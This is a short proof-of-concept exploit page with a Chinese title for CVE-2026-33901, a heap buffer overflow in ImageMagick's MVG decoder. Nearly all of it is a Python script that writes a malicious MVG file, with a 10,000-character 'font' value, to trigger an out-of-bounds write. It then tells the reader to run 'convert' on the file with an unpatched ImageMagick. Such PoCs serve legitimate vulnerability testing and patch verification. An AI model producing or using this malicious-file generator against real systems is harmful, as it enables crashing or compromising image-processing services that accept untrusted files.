CVE-2026-33901 ImageMagick 堆缓冲区溢出漏洞

# Proof of Concept for CVE-2026-33901 # This PoC generates a malicious MVG file to trigger the heap overflow. import os # Generate a payload intended to cause an out-of-bounds write in the MVG decoder # The specific length and content depend on the heap layout of the target ImageMagick version. buffer_overflow_trigger = "A" * 10000 mvg_content = f"""push graphic-context viewbox 0 0 640 480 font {buffer_overflow_trigger} pop graphic-context """ filename = "cve_2026_33901_poc.mvg" with open(filename, "w") as f: f.write(mvg_content) print(f"[+] Generated malicious file: {filename}") print("[+] Test by converting the file with an unpatched ImageMagick:") print(f" convert {filename} output.png")